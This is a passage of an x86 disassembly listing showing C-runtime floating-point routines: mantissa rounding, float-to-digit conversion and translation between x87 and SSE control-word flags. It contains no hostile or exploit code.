XREF: sub_41AF2B+3BDj test byte ptr [ebp+var_10], 1 jz short loc_41B2C4 inc [ebp+var_54] loc_41B2C4: ; CODE XREF: sub_41AF2B+394j mov ecx, [ebp+var_8] mov esi, [ebp+var_C] mov edx, [ebp+var_C] shr [ebp+var_8], 1 shl ecx, 1Fh shr esi, 1 or esi, ecx mov ecx, [ebp+var_10] shl edx, 1Fh shr ecx, 1 or ecx, edx dec eax mov [ebp+var_C], esi mov [ebp+var_10], ecx jnz short loc_41B2BB cmp [ebp+var_54], eax jz short loc_41B2F4 or word ptr [ebp+var_10], 1 loc_41B2F4: ; CODE XREF: sub_41AF2B+37Aj ; sub_41AF2B+385j ... mov eax, 8000h mov ecx, eax cmp word ptr [ebp+var_10], cx ja short loc_41B312 mov ecx, [ebp+var_10] and ecx, 1FFFFh cmp ecx, 18000h jnz short loc_41B346 loc_41B312: ; CODE XREF: sub_41AF2B+3D4j cmp [ebp+var_10+2], 0FFFFFFFFh jnz short loc_41B343 and [ebp+var_10+2], 0 cmp [ebp+var_C+2], 0FFFFFFFFh jnz short loc_41B33E and [ebp+var_C+2], 0 mov ecx, 0FFFFh cmp word ptr [ebp+var_8+2], cx jnz short loc_41B338 mov word ptr [ebp+var_8+2], ax inc edi jmp short loc_41B346 ; --------------------------------------------------------------------------- loc_41B338: ; CODE XREF: sub_41AF2B+404j inc word ptr [ebp+var_8+2] jmp short loc_41B346 ; --------------------------------------------------------------------------- loc_41B33E: ; CODE XREF: sub_41AF2B+3F5j inc [ebp+var_C+2] jmp short loc_41B346 ; --------------------------------------------------------------------------- loc_41B343: ; CODE XREF: sub_41AF2B+3EBj inc [ebp+var_10+2] loc_41B346: ; CODE XREF: sub_41AF2B+3E5j ; sub_41AF2B+40Bj ... mov eax, 7FFFh cmp di, ax jb loc_41B3FF xor eax, eax xor ecx, ecx cmp word ptr [ebp+var_48], ax mov [ebp-1Ch], eax setz cl mov [ebp+var_20], eax dec ecx and ecx, 80000000h add ecx, 7FFF8000h mov [ebp+var_1A+2], ecx loc_41B375: ; CODE XREF: sub_41AF2B+1DDj ; sub_41AF2B+4EFj xor esi, esi loc_41B377: ; CODE XREF: sub_41AF2B+274j ; sub_41AF2B+29Aj cmp ebx, esi jnz loc_41B0FA loc_41B37F: ; CODE XREF: sub_41AF2B+1B2j ; sub_41AF2B+1C9j mov ecx, [ebp+var_1A+2] shr ecx, 10h mov edx, 3FFFh mov eax, 7FFFh cmp cx, dx jb loc_41B63B inc [ebp+var_4C] xor edx, edx mov [ebp+var_50], edx mov [ebp+var_10], edx mov [ebp+var_C], edx mov [ebp+var_8], edx mov edx, [ebp+var_28+2] movzx ecx, cx mov ebx, edx xor ebx, ecx and ecx, eax and edx, eax and ebx, 8000h mov edi, eax lea esi, [edx+ecx] mov [ebp+var_5C], ebx movzx esi, si cmp cx, di jnb loc_41B61D cmp dx, ax jnb loc_41B61D mov eax, 0BFFDh cmp si, ax ja loc_41B61D mov eax, 3FBFh cmp si, ax ja short loc_41B43D xor eax, eax loc_41B3F4: ; CODE XREF: sub_41AF2B+54Dj mov [ebp-1Ch], eax mov [ebp+var_20], eax jmp loc_41B638 ; --------------------------------------------------------------------------- loc_41B3FF: ; CODE XREF: sub_41AF2B+423j mov ax, word ptr [ebp+var_10+2] or edi, [ebp+var_48] mov word ptr [ebp+var_20], ax mov eax, [ebp+var_C] mov [ebp+var_20+2], eax mov eax, [ebp+var_8] mov [ebp+var_1A], eax mov word ptr [ebp+var_16], di jmp loc_41B375 ; --------------------------------------------------------------------------- loc_41B41F: ; CODE XREF: sub_41AF2B+242j ; sub_41AF2B+24Bj ... xor eax, eax xor esi, esi cmp word ptr [ebp+var_48], si setz al dec eax and eax, 80000000h add eax, 7FFF8000h mov [ebp+var_1A+2], eax jmp loc_41B199 ; --------------------------------------------------------------------------- loc_41B43D: ; CODE XREF: sub_41AF2B+4C5j xor eax, eax cmp cx, ax jnz short loc_41B461 inc esi test [ebp+var_1A+2], 7FFFFFFFh jnz short loc_41B461 cmp [ebp-1Ch], eax jnz short loc_41B461 cmp [ebp+var_20], eax jnz short loc_41B461 mov word ptr [ebp+var_16], ax jmp loc_41B63B ; --------------------------------------------------------------------------- loc_41B461: ; CODE XREF: sub_41AF2B+517j ; sub_41AF2B+521j ... cmp dx, ax jnz short loc_41B47E inc esi test [ebp+var_28], 7FFFFFFFh jnz short loc_41B47E cmp [ebp+var_2C], eax jnz short loc_41B47E cmp [ebp+var_30], eax jz loc_41B3F4 loc_41B47E: ; CODE XREF: sub_41AF2B+539j ; sub_41AF2B+543j ... mov [ebp+var_58], eax lea edi, [ebp+var_C] mov [ebp+var_40], 5 loc_41B48B: ; CODE XREF: sub_41AF2B+5C5j mov eax, [ebp+var_58] mov ecx, [ebp+var_40] add eax, eax mov [ebp+var_54], ecx test ecx, ecx jle short loc_41B4E4 lea ecx, [ebp+var_28] mov [ebp+var_48], ecx lea eax, [ebp+eax+var_20] loc_41B4A4: ; CODE XREF: sub_41AF2B+5B7j mov ecx, [ebp+var_48] movzx edx, word ptr [eax] movzx ecx, word ptr [ecx] and [ebp+var_44], 0 imul ecx, edx mov edx, [edi-4] lea ebx, [edx+ecx] cmp ebx, edx jb short loc_41B4C2 cmp ebx, ecx jnb short loc_41B4C9 loc_41B4C2: ; CODE XREF: sub_41AF2B+591j mov [ebp+var_44], 1 loc_41B4C9: ; CODE XREF: sub_41AF2B+595j cmp [ebp+var_44], 0 mov [edi-4], ebx jz short loc_41B4D5 inc word ptr [edi] loc_41B4D5: ; CODE XREF: sub_41AF2B+5A5j sub [ebp+var_48], 2 inc eax inc eax dec [ebp+var_54] cmp [ebp+var_54], 0 jg short loc_41B4A4 loc_41B4E4: ; CODE XREF: sub_41AF2B+56Dj inc edi inc edi inc [ebp+var_58] dec [ebp+var_40] cmp [ebp+var_40], 0 jg short loc_41B48B add esi, 0C002h test si, si jle short loc_41B534 loc_41B4FD: ; CODE XREF: sub_41AF2B+602j mov edi, [ebp+var_8] test edi, edi js short loc_41B52F mov eax, [ebp+var_C] mov ecx, [ebp+var_10] shl [ebp+var_10], 1 mov edx, eax add eax, eax shr ecx, 1Fh or eax, ecx mov [ebp+var_C], eax shr edx, 1Fh lea eax, [edi+edi] or eax, edx add esi, 0FFFFh mov [ebp+var_8], eax test si, si jg short loc_41B4FD loc_41B52F: ; CODE XREF: sub_41AF2B+5D7j test si, si jg short loc_41B581 loc_41B534: ; CODE XREF: sub_41AF2B+5D0j add esi, 0FFFFh test si, si jge short loc_41B581 mov eax, esi neg eax movzx eax, ax add esi, eax loc_41B548: ; CODE XREF: sub_41AF2B+64Aj test byte ptr [ebp+var_10], 1 jz short loc_41B551 inc [ebp+var_50] loc_41B551: ; CODE XREF: sub_41AF2B+621j mov ecx, [ebp+var_8] mov edi, [ebp+var_C] mov edx, [ebp+var_C] shr [ebp+var_8], 1 shl ecx, 1Fh shr edi, 1 or edi, ecx mov ecx, [ebp+var_10] shl edx, 1Fh shr ecx, 1 or ecx, edx dec eax mov [ebp+var_C], edi mov [ebp+var_10], ecx jnz short loc_41B548 cmp [ebp+var_50], eax jz short loc_41B581 or word ptr [ebp+var_10], 1 loc_41B581: ; CODE XREF: sub_41AF2B+607j ; sub_41AF2B+612j ... mov eax, 8000h mov ecx, eax cmp word ptr [ebp+var_10], cx ja short loc_41B59F mov ecx, [ebp+var_10] and ecx, 1FFFFh cmp ecx, 18000h jnz short loc_41B5D3 loc_41B59F: ; CODE XREF: sub_41AF2B+661j cmp [ebp+var_10+2], 0FFFFFFFFh jnz short loc_41B5D0 and [ebp+var_10+2], 0 cmp [ebp+var_C+2], 0FFFFFFFFh jnz short loc_41B5CB and [ebp+var_C+2], 0 mov ecx, 0FFFFh cmp word ptr [ebp+var_8+2], cx jnz short loc_41B5C5 mov word ptr [ebp+var_8+2], ax inc esi jmp short loc_41B5D3 ; --------------------------------------------------------------------------- loc_41B5C5: ; CODE XREF: sub_41AF2B+691j inc word ptr [ebp+var_8+2] jmp short loc_41B5D3 ; --------------------------------------------------------------------------- loc_41B5CB: ; CODE XREF: sub_41AF2B+682j inc [ebp+var_C+2] jmp short loc_41B5D3 ; --------------------------------------------------------------------------- loc_41B5D0: ; CODE XREF: sub_41AF2B+678j inc [ebp+var_10+2] loc_41B5D3: ; CODE XREF: sub_41AF2B+672j ; sub_41AF2B+698j ... mov eax, 7FFFh cmp si, ax jb short loc_41B600 xor eax, eax xor ecx, ecx cmp word ptr [ebp+var_5C], ax mov [ebp-1Ch], eax setz cl mov [ebp+var_20], eax dec ecx and ecx, 80000000h add ecx, 7FFF8000h mov [ebp+var_1A+2], ecx jmp short loc_41B63B ; --------------------------------------------------------------------------- loc_41B600: ; CODE XREF: sub_41AF2B+6B0j mov ax, word ptr [ebp+var_10+2] or esi, [ebp+var_5C] mov word ptr [ebp+var_20], ax mov eax, [ebp+var_C] mov [ebp+var_20+2], eax mov eax, [ebp+var_8] mov [ebp+var_1A], eax mov word ptr [ebp+var_16], si jmp short loc_41B63B ; --------------------------------------------------------------------------- loc_41B61D: ; CODE XREF: sub_41AF2B+4A0j ; sub_41AF2B+4A9j ... xor eax, eax test bx, bx setz al and dword ptr [ebp-1Ch], 0 dec eax and eax, 80000000h add eax, 7FFF8000h and [ebp+var_20], 0 loc_41B638: ; CODE XREF: sub_41AF2B+4CFj mov [ebp+var_1A+2], eax loc_41B63B: ; CODE XREF: sub_41AF2B+467j ; sub_41AF2B+531j ... test [ebp+arg_10], 1 mov edx, [ebp+var_60] mov eax, [ebp+var_4C] mov edi, [ebp+arg_C] mov [edx], ax jz short loc_41B67F cwde add edi, eax test edi, edi jg short loc_41B67F xor eax, eax mov [edx], ax mov eax, 8000h cmp word ptr [ebp+var_70], ax mov byte ptr [edx+3], 1 setnz al dec al and al, 0Dh add al, 20h mov [edx+2], al mov byte ptr [edx+4], 30h mov byte ptr [edx+5], 0 jmp loc_41AFDD ; --------------------------------------------------------------------------- loc_41B67F: ; CODE XREF: sub_41AF2B+720j ; sub_41AF2B+727j cmp edi, 15h jle short loc_41B687 push 15h pop edi loc_41B687: ; CODE XREF: sub_41AF2B+757j mov esi, [ebp+var_1A+2] shr esi, 10h sub esi, 3FFEh xor eax, eax mov word ptr [ebp+var_16], ax mov [ebp+var_44], 8 loc_41B6A0: ; CODE XREF: sub_41AF2B+79Bj mov eax, [ebp+var_20] mov ebx, [ebp-1Ch] mov ecx, [ebp-1Ch] shl [ebp+var_20], 1 shr eax, 1Fh add ebx, ebx or ebx, eax mov eax, [ebp+var_1A+2] shr ecx, 1Fh add eax, eax or eax, ecx dec [ebp+var_44] mov [ebp-1Ch], ebx mov [ebp+var_1A+2], eax jnz short loc_41B6A0 test esi, esi jge short loc_41B6FE neg esi and esi, 0FFh jle short loc_41B6FE loc_41B6D6: ; CODE XREF: sub_41AF2B+7D1j mov eax, [ebp+var_1A+2] mov ebx, [ebp-1Ch] mov ecx, [ebp-1Ch] shr [ebp+var_1A+2], 1 shl eax, 1Fh shr ebx, 1 or ebx, eax mov eax, [ebp+var_20] shl ecx, 1Fh shr eax, 1 or eax, ecx dec esi mov [ebp-1Ch], ebx mov [ebp+var_20], eax test esi, esi jg short loc_41B6D6 loc_41B6FE: ; CODE XREF: sub_41AF2B+79Fj ; sub_41AF2B+7A9j lea eax, [edi+1] lea ebx, [edx+4] mov [ebp+var_40], ebx mov [ebp+var_4C], eax test eax, eax jle loc_41B7C7 loc_41B712: ; CODE XREF: sub_41AF2B+896j mov edx, [ebp+var_20] mov eax, [ebp-1Ch] lea esi, [ebp+var_20] lea edi, [ebp+var_3C] movsd movsd movsd shl [ebp+var_20], 1 mov edi, [ebp+var_20] shl [ebp+var_20], 1 shr edx, 1Fh lea ecx, [eax+eax] or ecx, edx mov edx, [ebp+var_1A+2] mov esi, eax shr esi, 1Fh add edx, edx or edx, esi mov eax, ecx lea esi, [ecx+ecx] shr eax, 1Fh lea ecx, [edx+edx] mov edx, [ebp+var_3C] shr edi, 1Fh or ecx, eax mov eax, [ebp+var_20] or esi, edi lea edi, [edx+eax] cmp edi, eax jb short loc_41B761 cmp edi, edx jnb short loc_41B779 loc_41B761: ; CODE XREF: sub_41AF2B+830j lea eax, [esi+1] xor edx, edx cmp eax, esi jb short loc_41B76F cmp eax, 1 jnb short loc_41B772 loc_41B76F: ; CODE XREF: sub_41AF2B+83Dj xor edx, edx inc edx loc_41B772: ; CODE XREF: sub_41AF2B+842j mov esi, eax test edx, edx jz short loc_41B779 inc ecx loc_41B779: ; CODE XREF: sub_41AF2B+834j ; sub_41AF2B+84Bj mov eax, [ebp+var_38] lea edx, [eax+esi] mov [ebp+var_44], edx cmp edx, esi jb short loc_41B78A cmp edx, eax jnb short loc_41B78B loc_41B78A: ; CODE XREF: sub_41AF2B+859j inc ecx loc_41B78B: ; CODE XREF: sub_41AF2B+85Dj add ecx, [ebp+var_34] shr edx, 1Fh add ecx, ecx or ecx, edx lea esi, [edi+edi] mov [ebp+var_20], esi mov esi, [ebp+var_44] mov [ebp+var_1A+2], ecx shr ecx, 18h add esi, esi add cl, 30h mov eax, edi shr eax, 1Fh or esi, eax mov [ebx], cl inc ebx dec [ebp+var_4C] cmp [ebp+var_4C], 0 mov [ebp-1Ch], esi mov byte ptr [ebp+var_16+1], 0 jg loc_41B712 loc_41B7C7: ; CODE XREF: sub_41AF2B+7E1j dec ebx mov al, [ebx] dec ebx cmp al, 35h jge short loc_41B7DD mov ecx, [ebp+var_40] jmp short loc_41B818 ; --------------------------------------------------------------------------- loc_41B7D4: ; CODE XREF: sub_41AF2B+8B5j cmp byte ptr [ebx], 39h jnz short loc_41B7E2 mov byte ptr [ebx], 30h dec ebx loc_41B7DD: ; CODE XREF: sub_41AF2B+8A2j cmp ebx, [ebp+var_40] jnb short loc_41B7D4 loc_41B7E2: ; CODE XREF: sub_41AF2B+8ACj mov eax, [ebp+var_60] cmp ebx, [ebp+var_40] jnb short loc_41B7EE inc ebx inc word ptr [eax] loc_41B7EE: ; CODE XREF: sub_41AF2B+8BDj inc byte ptr [ebx] loc_41B7F0: ; CODE XREF: sub_41AF2B+8F6j sub bl, al sub bl, 3 movsx ecx, bl mov [eax+3], bl mov byte ptr [ecx+eax+4], 0 mov eax, [ebp+var_74] loc_41B803: ; CODE XREF: sub_41AF2B+B5j ; sub_41AF2B+162j mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AC1C leave retn ; --------------------------------------------------------------------------- loc_41B812: ; CODE XREF: sub_41AF2B+8EFj cmp byte ptr [ebx], 30h jnz short loc_41B81C dec ebx loc_41B818: ; CODE XREF: sub_41AF2B+8A7j cmp ebx, ecx jnb short loc_41B812 loc_41B81C: ; CODE XREF: sub_41AF2B+8EAj mov eax, [ebp+var_60] cmp ebx, ecx jnb short loc_41B7F0 xor edx, edx mov [eax], dx mov edx, 8000h cmp word ptr [ebp+var_70], dx mov byte ptr [eax+3], 1 setnz dl dec dl and dl, 0Dh add dl, 20h mov [eax+2], dl mov byte ptr [ecx], 30h mov byte ptr [eax+5], 0 jmp loc_41AFDD sub_41AF2B endp ; =============== S U B R O U T I N E ======================================= sub_41B84F proc near ; CODE XREF: sub_41B97D+C3p xor eax, eax test bl, 10h jz short loc_41B857 inc eax loc_41B857: ; CODE XREF: sub_41B84F+5j test bl, 8 jz short loc_41B85F or eax, 4 loc_41B85F: ; CODE XREF: sub_41B84F+Bj test bl, 4 jz short loc_41B867 or eax, 8 loc_41B867: ; CODE XREF: sub_41B84F+13j test bl, 2 jz short loc_41B86F or eax, 10h loc_41B86F: ; CODE XREF: sub_41B84F+1Bj test bl, 1 jz short loc_41B877 or eax, 20h loc_41B877: ; CODE XREF: sub_41B84F+23j test ebx, 80000h jz short loc_41B882 or eax, 2 loc_41B882: ; CODE XREF: sub_41B84F+2Ej mov ecx, ebx mov edx, 300h and ecx, edx push esi mov esi, 200h jz short loc_41B8B6 cmp ecx, 100h jz short loc_41B8B1 cmp ecx, esi jz short loc_41B8AA cmp ecx, edx jnz short loc_41B8B6 or eax, 0C00h jmp short loc_41B8B6 ; --------------------------------------------------------------------------- loc_41B8AA: ; CODE XREF: sub_41B84F+4Ej or eax, 800h jmp short loc_41B8B6 ; --------------------------------------------------------------------------- loc_41B8B1: ; CODE XREF: sub_41B84F+4Aj or eax, 400h loc_41B8B6: ; CODE XREF: sub_41B84F+42j ; sub_41B84F+52j ... mov ecx, ebx and ecx, 30000h jz short loc_41B8CC cmp ecx, 10000h jnz short loc_41B8CE or eax, esi jmp short loc_41B8CE ; --------------------------------------------------------------------------- loc_41B8CC: ; CODE XREF: sub_41B84F+6Fj or eax, edx loc_41B8CE: ; CODE XREF: sub_41B84F+77j ; sub_41B84F+7Bj pop esi test ebx, 40000h jz short locret_41B8DC or eax, 1000h locret_41B8DC: ; CODE XREF: sub_41B84F+86j retn sub_41B84F endp ; =============== S U B R O U T I N E ======================================= sub_41B8DD proc near ; CODE XREF: sub_41B97D:loc_41BBC2p xor eax, eax test dl, 10h jz short loc_41B8E9 mov eax, 80h loc_41B8E9: ; CODE XREF: sub_41B8DD+5j push ebx push esi push edi mov ebx, 200h test dl, 8 jz short loc_41B8F8 or eax, ebx loc_41B8F8: ; CODE XREF: sub_41B8DD+17j test dl, 4 jz short loc_41B902 or eax, 400h loc_41B902: ; CODE XREF: sub_41B8DD+1Ej test dl, 2 jz short loc_41B90C or eax, 800h loc_41B90C: ; CODE XREF: sub_41B8DD+28j test dl, 1 jz short loc_41B916 or eax, 1000h loc_41B916: ; CODE XREF: sub_41B8DD+32j mov edi, 100h test edx, 80000h jz short loc_41B925 or eax, edi loc_41B925: ; CODE XREF: sub_41B8DD+44j mov ecx, edx mov esi, 300h and ecx, esi jz short loc_41B94F cmp ecx, edi jz short loc_41B94A cmp ecx, ebx jz short loc_41B943 cmp ecx, esi jnz short loc_41B94F or eax, 6000h jmp short loc_41B94F ; --------------------------------------------------------------------------- loc_41B943: ; CODE XREF: sub_41B8DD+59j or eax, 4000h jmp short loc_41B94F ; --------------------------------------------------------------------------- loc_41B94A: ; CODE XREF: sub_41B8DD+55j or eax, 2000h loc_41B94F: ; CODE XREF: sub_41B8DD+51j ; sub_41B8DD+5Dj ... mov ecx, 3000000h pop edi and edx, ecx pop esi pop ebx cmp edx, 1000000h jz short loc_41B977 cmp edx, 2000000h jz short loc_41B973 cmp edx, ecx jnz short locret_41B97C or eax, 8000h retn ; --------------------------------------------------------------------------- loc_41B973: ; CODE XREF: sub_41B8DD+8Aj or eax, 40h retn ; --------------------------------------------------------------------------- loc_41B977: ; CODE XREF: sub_41B8DD+82j or eax, 8040h locret_41B97C: ; CODE XREF: sub_41B8DD+8Ej retn sub_41B8DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B97D proc near ; CODE XREF: sub_419D3F+27p ; sub_419D3F+57p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi fstcw word ptr [ebp+var_8] mov ebx, [ebp+var_8] xor edx, edx test bl, 1 jz short loc_41B999 push 10h pop edx loc_41B999: ; CODE XREF: sub_41B97D+17j test bl, 4 jz short loc_41B9A1 or edx, 8 loc_41B9A1: ; CODE XREF: sub_41B97D+1Fj test bl, 8 jz short loc_41B9A9 or edx, 4 loc_41B9A9: ; CODE XREF: sub_41B97D+27j test bl, 10h jz short loc_41B9B1 or edx, 2 loc_41B9B1: ; CODE XREF: sub_41B97D+2Fj test bl, 20h jz short loc_41B9B9 or edx, 1 loc_41B9B9: ; CODE XREF: sub_41B97D+37j test bl, 2 jz short loc_41B9C4 or edx, 80000h loc_41B9C4: ; CODE XREF: sub_41B97D+3Fj movzx ecx, bx mov eax, ecx mov esi, 0C00h and eax, esi mov edi, 300h jz short loc_41B9FB cmp eax, 400h jz short loc_41B9F5 cmp eax, 800h jz short loc_41B9ED cmp eax, esi jnz short loc_41B9FB or edx, edi jmp short loc_41B9FB ; --------------------------------------------------------------------------- loc_41B9ED: ; CODE XREF: sub_41B97D+66j or edx, 200h jmp short loc_41B9FB ; --------------------------------------------------------------------------- loc_41B9F5: ; CODE XREF: sub_41B97D+5Fj or edx, 100h loc_41B9FB: ; CODE XREF: sub_41B97D+58j ; sub_41B97D+6Aj ... and ecx, edi jz short loc_41BA0F cmp ecx, 200h jnz short loc_41BA15 or edx, 10000h jmp short loc_41BA15 ; --------------------------------------------------------------------------- loc_41BA0F: ; CODE XREF: sub_41B97D+80j or edx, 20000h loc_41BA15: ; CODE XREF: sub_41B97D+88j ; sub_41B97D+90j test ebx, 1000h jz short loc_41BA23 or edx, 40000h loc_41BA23: ; CODE XREF: sub_41B97D+9Ej mov edi, [ebp+arg_4] mov ecx, [ebp+arg_0] mov eax, edi not eax and eax, edx and ecx, edi or eax, ecx mov [ebp+arg_4], eax cmp eax, edx jz loc_41BAEC mov ebx, eax call sub_41B84F movzx eax, ax mov [ebp+var_4], eax fldcw word ptr [ebp+var_4] fstcw word ptr [ebp+var_4] mov ebx, [ebp+var_4] xor edx, edx test bl, 1 jz short loc_41BA5F push 10h pop edx loc_41BA5F: ; CODE XREF: sub_41B97D+DDj test bl, 4 jz short loc_41BA67 or edx, 8 loc_41BA67: ; CODE XREF: sub_41B97D+E5j test bl, 8 jz short loc_41BA6F or edx, 4 loc_41BA6F: ; CODE XREF: sub_41B97D+EDj test bl, 10h jz short loc_41BA77 or edx, 2 loc_41BA77: ; CODE XREF: sub_41B97D+F5j test bl, 20h jz short loc_41BA7F or edx, 1 loc_41BA7F: ; CODE XREF: sub_41B97D+FDj test bl, 2 jz short loc_41BA8A or edx, 80000h loc_41BA8A: ; CODE XREF: sub_41B97D+105j movzx ecx, bx mov eax, ecx and eax, esi jz short loc_41BABB cmp eax, 400h jz short loc_41BAB5 cmp eax, 800h jz short loc_41BAAD cmp eax, esi jnz short loc_41BABB or edx, 300h jmp short loc_41BABB ; --------------------------------------------------------------------------- loc_41BAAD: ; CODE XREF: sub_41B97D+122j or edx, 200h jmp short loc_41BABB ; --------------------------------------------------------------------------- loc_41BAB5: ; CODE XREF: sub_41B97D+11Bj or edx, 100h loc_41BABB: ; CODE XREF: sub_41B97D+114j ; sub_41B97D+126j ... and ecx, 300h jz short loc_41BAD3 cmp ecx, 200h jnz short loc_41BAD9 or edx, 10000h jmp short loc_41BAD9 ; --------------------------------------------------------------------------- loc_41BAD3: ; CODE XREF: sub_41B97D+144j or edx, 20000h loc_41BAD9: ; CODE XREF: sub_41B97D+14Cj ; sub_41B97D+154j test ebx, 1000h jz short loc_41BAE7 or edx, 40000h loc_41BAE7: ; CODE XREF: sub_41B97D+162j mov [ebp+arg_4], edx mov eax, edx loc_41BAEC: ; CODE XREF: sub_41B97D+BBj xor esi, esi cmp dword_430144, esi jz loc_41BC87 and edi, 308031Fh mov [ebp+var_14], edi stmxcsr [ebp+var_10] mov eax, [ebp+var_10] test al, al jns short loc_41BB11 push 10h pop esi loc_41BB11: ; CODE XREF: sub_41B97D+18Fj test eax, 200h jz short loc_41BB1B or esi, 8 loc_41BB1B: ; CODE XREF: sub_41B97D+199j test eax, 400h jz short loc_41BB25 or esi, 4 loc_41BB25: ; CODE XREF: sub_41B97D+1A3j test eax, 800h jz short loc_41BB2F or esi, 2 loc_41BB2F: ; CODE XREF: sub_41B97D+1ADj test eax, 1000h jz short loc_41BB39 or esi, 1 loc_41BB39: ; CODE XREF: sub_41B97D+1B7j test eax, 100h jz short loc_41BB46 or esi, 80000h loc_41BB46: ; CODE XREF: sub_41B97D+1C1j mov ecx, eax mov ebx, 6000h and ecx, ebx jz short loc_41BB7B cmp ecx, 2000h jz short loc_41BB75 cmp ecx, 4000h jz short loc_41BB6D cmp ecx, ebx jnz short loc_41BB7B or esi, 300h jmp short loc_41BB7B ; --------------------------------------------------------------------------- loc_41BB6D: ; CODE XREF: sub_41B97D+1E2j or esi, 200h jmp short loc_41BB7B ; --------------------------------------------------------------------------- loc_41BB75: ; CODE XREF: sub_41B97D+1DAj or esi, 100h loc_41BB7B: ; CODE XREF: sub_41B97D+1D2j ; sub_41B97D+1E6j ... mov edi, 8040h and eax, edi sub eax, 40h jz short loc_41BBA3 sub eax, 7FC0h jz short loc_41BB9B sub eax, 40h jnz short loc_41BBA9 or esi, 1000000h jmp short loc_41BBA9 ; --------------------------------------------------------------------------- loc_41BB9B: ; CODE XREF: sub_41B97D+20Fj or esi, 3000000h jmp short loc_41BBA9 ; --------------------------------------------------------------------------- loc_41BBA3: ; CODE XREF: sub_41B97D+208j or esi, 2000000h loc_41BBA9: ; CODE XREF: sub_41B97D+214j ; sub_41B97D+21Cj ... mov eax, [ebp+var_14] mov edx, eax and eax, [ebp+arg_0] not edx and edx, esi or edx, eax cmp edx, esi jnz short loc_41BBC2 mov eax, esi jmp loc_41BC72 ; --------------------------------------------------------------------------- loc_41BBC2: ; CODE XREF: sub_41B97D+23Cj call sub_41B8DD push eax mov [ebp+var_C], eax call sub_41BE5A pop ecx stmxcsr [ebp+var_C] mov ecx, [ebp+var_C] xor edx, edx test cl, cl jns short loc_41BBE1 push 10h pop edx loc_41BBE1: ; CODE XREF: sub_41B97D+25Fj test ecx, 200h jz short loc_41BBEC or edx, 8 loc_41BBEC: ; CODE XREF: sub_41B97D+26Aj test ecx, 400h jz short loc_41BBF7 or edx, 4 loc_41BBF7: ; CODE XREF: sub_41B97D+275j test ecx, 800h jz short loc_41BC02 or edx, 2 loc_41BC02: ; CODE XREF: sub_41B97D+280j test ecx, 1000h jz short loc_41BC0D or edx, 1 loc_41BC0D: ; CODE XREF: sub_41B97D+28Bj mov esi, 100h test ecx, esi jz short loc_41BC1C or edx, 80000h loc_41BC1C: ; CODE XREF: sub_41B97D+297j mov eax, ecx and eax, ebx jz short loc_41BC46 cmp eax, 2000h jz short loc_41BC44 cmp eax, 4000h jz short loc_41BC3C cmp eax, ebx jnz short loc_41BC46 or edx, 300h jmp short loc_41BC46 ; --------------------------------------------------------------------------- loc_41BC3C: ; CODE XREF: sub_41B97D+2B1j or edx, 200h jmp short loc_41BC46 ; --------------------------------------------------------------------------- loc_41BC44: ; CODE XREF: sub_41B97D+2AAj or edx, esi loc_41BC46: ; CODE XREF: sub_41B97D+2A3j ; sub_41B97D+2B5j ... and ecx, edi sub ecx, 40h jz short loc_41BC6A sub ecx, 7FC0h jz short loc_41BC62 sub ecx, 40h jnz short loc_41BC70 or edx, 1000000h jmp short loc_41BC70 ; --------------------------------------------------------------------------- loc_41BC62: ; CODE XREF: sub_41B97D+2D6j or edx, 3000000h jmp short loc_41BC70 ; --------------------------------------------------------------------------- loc_41BC6A: ; CODE XREF: sub_41B97D+2CEj or edx, 2000000h loc_41BC70: ; CODE XREF: sub_41B97D+2DBj ; sub_41B97D+2E3j ... mov eax, edx loc_41BC72: ; CODE XREF: sub_41B97D+240j mov ecx, eax xor ecx, [ebp+arg_4] or eax, [ebp+arg_4] test ecx, 8031Fh jz short loc_41BC87 or eax, 80000000h loc_41BC87: ; CODE XREF: sub_41B97D+177j ; sub_41B97D+303j pop edi pop esi pop ebx leave retn sub_41B97D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BC8C proc near ; CODE XREF: sub_41A833+328p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp sub esp, 18h mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_8] push ebx push esi xor esi, esi push edi mov [ebp+var_18], 404Eh mov [eax], esi mov [eax+4], esi mov [eax+8], esi cmp [ebp+arg_4], esi jbe loc_41BE04 loc_41BCBE: ; CODE XREF: sub_41BC8C+148j mov edx, [eax] mov ebx, [eax+4] mov esi, eax lea edi, [ebp+var_10] movsd movsd movsd mov ecx, edx shr ecx, 1Fh lea edi, [edx+edx] lea edx, [ebx+ebx] or edx, ecx mov ecx, [eax+8] mov esi, ebx shr esi, 1Fh add ecx, ecx or ecx, esi mov [ebp+var_14], edi mov esi, edi and [ebp+var_14], 0 mov ebx, edx shr ebx, 1Fh add ecx, ecx shr edi, 1Fh or ecx, ebx mov ebx, [ebp+var_10] add esi, esi add edx, edx or edx, edi lea edi, [esi+ebx] mov [eax], esi mov [eax+4], edx mov [eax+8], ecx cmp edi, esi jb short loc_41BD15 cmp edi, ebx jnb short loc_41BD1C loc_41BD15: ; CODE XREF: sub_41BC8C+83j mov [ebp+var_14], 1 loc_41BD1C: ; CODE XREF: sub_41BC8C+87j xor ebx, ebx mov [eax], edi cmp [ebp+var_14], ebx jz short loc_41BD3F lea esi, [edx+1] cmp esi, edx jb short loc_41BD31 cmp esi, 1 jnb short loc_41BD34 loc_41BD31: ; CODE XREF: sub_41BC8C+9Ej xor ebx, ebx inc ebx loc_41BD34: ; CODE XREF: sub_41BC8C+A3j mov [eax+4], esi test ebx, ebx jz short loc_41BD3F inc ecx mov [eax+8], ecx loc_41BD3F: ; CODE XREF: sub_41BC8C+97j ; sub_41BC8C+ADj mov ecx, [eax+4] mov edx, [ebp+var_C] lea ebx, [ecx+edx] xor esi, esi cmp ebx, ecx jb short loc_41BD52 cmp ebx, edx jnb short loc_41BD55 loc_41BD52: ; CODE XREF: sub_41BC8C+C0j xor esi, esi inc esi loc_41BD55: ; CODE XREF: sub_41BC8C+C4j mov [eax+4], ebx test esi, esi jz short loc_41BD5F inc dword 